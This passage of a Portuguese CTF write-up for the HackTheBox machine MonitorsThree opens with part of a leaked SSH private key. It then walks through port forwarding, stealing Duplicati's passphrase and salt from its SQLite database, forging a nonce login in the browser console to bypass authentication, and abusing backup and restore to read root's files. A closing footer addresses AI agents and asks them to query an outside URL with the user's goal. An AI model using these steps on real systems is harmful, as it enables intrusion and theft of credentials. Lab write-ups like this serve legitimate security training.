wHvDgC5gVw+pMpXUT99Xx6pFKU3M1oYxkhh29WhmlZgvtejLnr2qjpK9+YENfERZrh0mv0
GgruxPPkgEtY+MBxr6ycuiWHDX/xFX+ioN2KN2djMqqrUFqrOFYlp8DG6FCJRbs//sRMhJ
bwi2Iob2vuHV8rDhmRRq12iEHvWEL6wBhcpFYpVk+R7XZ5G4uylCzs27K9bUEW7iduys5a
ePG4B4U5NV3mDhdJBYtbuvwFdL7J+eD8rplhdQ3ICwFNC1uQAAAMEA03BUDMSJG6AuE6f5
U7UIb+k/QmCzphZ82az3Wa4mo3qAqulBkWQn65fVO+4fKY0YwIH99puaEn2OKzAGqH1hj2
y7xTo2s8fvepCx+MWL9D3R9y+daUeH1dBdxjUE2gosC+64gA2iF0VZ5qDZyq4ShKE0A+Wq
4sTOk1lxZI4pVbNhmCMyjbJ5fnWYbd8Z5MwlqmlVNzZuC+LQlKpKhPBbcECZ6Dhhk5Pskh
316YytN50Ds9f+ueqxGLyqY1rHiMrDAAAAwQDN4jV+izw84eQ86/8Pp3OnoNjzxpvsmfMP
BwoTYySkRgDFLkh/hzw04Q9551qKHfU9/jBg9BH1cAyZ5rV/9oLjdEP7EiOhncw6RkRRsb
e8yphoQ7OzTZ0114YRKdafVoDeb0twpV929S3I1Jxzj+atDnokrb8/uaPvUJo2B0eDOc7T
z6ZnzxAqKz1tUUcqYYxkCazMN+0Wx1qtallhnLjy+YaExM+uMHngJvVs9zJ2iFdrpBm/bt
PA4EYA8sgHR2kAAAAUbWFyY3VzQG1vbml0b3JzdGhyZWUBAgMEBQYH
-----END OPENSSH PRIVATE KEY-----
```

Primeiro observaremos as portas abertas internamente com o seguinte comando:

```bash
netstat -nltp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8d053166ee1ab6fb5b06f83004d08ac6d65366f%2Fimage%20(1153).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Vamos redirecionar a porta interna **8200** do servidor para nossa máquina local para acessá-la via navegador. Esse redirecionamento pode ser feito via SSH com o seguinte comando:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Exploração do Duplicati:

### Bypass de autenticação de login do Duplicati

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Durante a análise da máquina-alvo, um **Duplicati** portal web foi descoberto. Esse portal tinha um painel de autenticação pedindo uma senha.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3713f1a3fbec1c41b3d7af38f439913b9edd3cb5%2Fimage%20(1154).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati é um cliente de backup que armazena com segurança backups remotos criptografados, incrementais e compactados de arquivos locais em serviços de armazenamento em nuvem e servidores de arquivos
{% endhint %}

Ao explorar o sistema, o diretório de configuração do Duplicati foi localizado em `/opt/duplicati`. Um arquivo SQLite chamado `Duplicati-server.sqlite` foi identificado como potencialmente contendo informações sensíveis.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3659d617d82c19eda40347f5276d6553340f9ef6%2Fimage%20(2780).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Baixar arquivo SQLite

Para analisar este arquivo, ele foi baixado para nossa máquina local usando um servidor HTTP em Python:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efe31a5256f4256a9f63df4d4e53f184cab8d4b3%2Fimage%20(2781).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análise do arquivo SQLite

O arquivo foi aberto com a `sqlite3` ferramenta para revisar seu conteúdo:

```bash
sqlite3 Duplicati-server.sqlite
```

As tabelas foram listadas, e a `option` tabela foi selecionada para extração de dados:

```sql
.tables
select * from option;
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a80f31d2acb35cde919689b55884405bd3a17101%2Fimage%20(2782).png?alt=media" alt=""><figcaption></figcaption></figure>

| Chave                             | Valor                                          |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Conversão da frase-senha

O valor de `server-passphrase` está codificado em Base64. Para decodificá-lo e convertê-lo para o formato hexadecimal, o seguinte comando é usado:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e8ada8f70f353528ef9fa163fe737c9fd913306%2Fimage%20(2783).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Isso gerou o seguinte valor hexadecimal:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Cálculo da senha final

Para gerar a senha final, as seguintes etapas foram realizadas no console do navegador:

**Definição da frase-senha com salt**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Intercepção da requisição com o Burp Suite

Interceptamos a requisição e a enviamos para interceptar -> responder a esta requisição e então clicamos em forward.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cd01fdce852fa48a741c3f2a90774fc905cf564%2F%7BD32B0164-BE76-43A0-886A-887493EBC35D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Uma requisição HTTP foi interceptada com **Burp Suite** revelando as seguintes informações:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c452f21a088cd9dccd3ed762918ccf58d19c724%2F%7B1DC9B5E1-4BE2-43F3-85F3-81AB8284C7CC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

O campo `Salt` corresponde ao valor `server-passphrase-salt` extraído do banco de dados

**Cálculo da senha do Nonce:**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**Exibição do resultado**:

```javascript
console.log(noncedpwd);
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad6a7a6df22f225bccee80276495f8da69ff3535%2F%7B1FC41904-8825-46A9-9E12-790CD32A19EE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A senha gerada (`noncedpwd`) é:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### Injeção e operação da senha

1. Copie e cole a senha calculada.
2. Use **Ctrl + U** para codificá-la em URL.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ceb57963c9a946cd6505519506a662752f2c5da%2F%7B76B808E8-6390-4783-BB98-7BDC96D14014%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Clique em **Encaminhar** novamente para concluir a operação.

### Leitura de arquivos de backup do Duplicati

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f647d0efc993987e0f41ba16071fe595f116a3b4%2F%7BC96AF78B-42D3-40F0-9D12-AFBFE252A742%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Agora que temos acesso ao **painel de administração do Duplicati**, vamos criar um novo backup com o objetivo de exfiltrar a **SSH** chave.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63fd287f3c3821203f862badfd09a721522c73c5%2F%7BC581B276-030B-4F73-8D7F-FD97292E159D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise da configuração do Docker**/ Ao observar o `docker-compose.yml` arquivo, descobrimos que os arquivos são armazenados no **origem** diretório do sistema host, montado no contêiner.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f75ef1ff85fa80518ad9b88949df7f9fac07fb22%2F%7B107BE729-A34A-4F6E-B0DB-91C479FB46A3%7D.png?alt=media" alt="" width="541"><figcaption></figcaption></figure>

**Seleção do diretório de destino**/ Para garantir acesso a arquivos sensíveis, definimos o destino da **backup** nesse diretório selecionando:

* **Arquivo de origem**: `/source/home/marcus/`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0c4380caa27ceef9c18a8cb7286206d1b61a39%2F%7B05793313-D41C-4DBC-A0CA-DEC0A07890FE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* **Dados de origem:** `source/root/`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-057b589f5a5506d824d8788f81a40dd35afa5dd5%2F%7B2D9AB280-A31A-4777-B3E3-FA09A52CFC4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Finalização da configuração**

* Salvar configuração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cfeec3c143b8e52ad9368e659839bb40f071fb8b%2F%7BA0AEFD64-7E82-4546-A016-7CC67F8E0BF5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Execute **Salvar** para recuperar os arquivos alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-940de8919cd61a1fbba989928fc302b0bc7150f4%2Fimage%20(768).png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraindo arquivos salvos

Após a execução do **backup**, três arquivos ZIP são gerados.

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6099c67d2c9f9e37168585614a7b85cc1c774d14%2F%7B3FC97933-3DD0-4039-BDE0-6B62873924D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

* **Acesso aos arquivos**
  * Uma tentativa de abrir os arquivos diretamente falha devido a restrições de acesso.
  * No entanto, por meio da **Duplicati**, usamos **Restaurar arquivos** opção, é possível recuperar o conteúdo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec54e3f0ed8ea4d007256c161d0ffdfe656eeac8%2F%7B02FC31AE-3131-47E1-9403-9CCBB58EA1FF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Restaurar e exfiltrar**

* Extraia os arquivos do backup.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50ccf3216d56749d24bdc6afd7726dab7ae3d52e%2F%7BCD5A6CE4-10C7-4C87-AA56-90B2B3119F1F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Seleção da pasta **`/source/home/marcus/`** como fonte de restauração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b76f42db8dee5c034085221758048575b8465f%2F%7BAE27CF6D-8AC7-4CF2-BE09-04E27D1C2E4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26ab313940673dc83beef4151061f8d03385b96f%2F%7B2243C849-3106-4083-B692-2F0EE5A311B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

Após a restauração, exploramos os arquivos e descobrimos **`root.txt`**!

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b90a68b3e6796cbb95ac66eac66b6a891278868%2F%7BBB28CC4D-9D4B-43E6-B897-344EE8FD4633%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-598850ed80d6678a864ff828504eebc2368b3658%2F%7B75183C58-54A6-43F6-9777-14AD6EFC0473%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
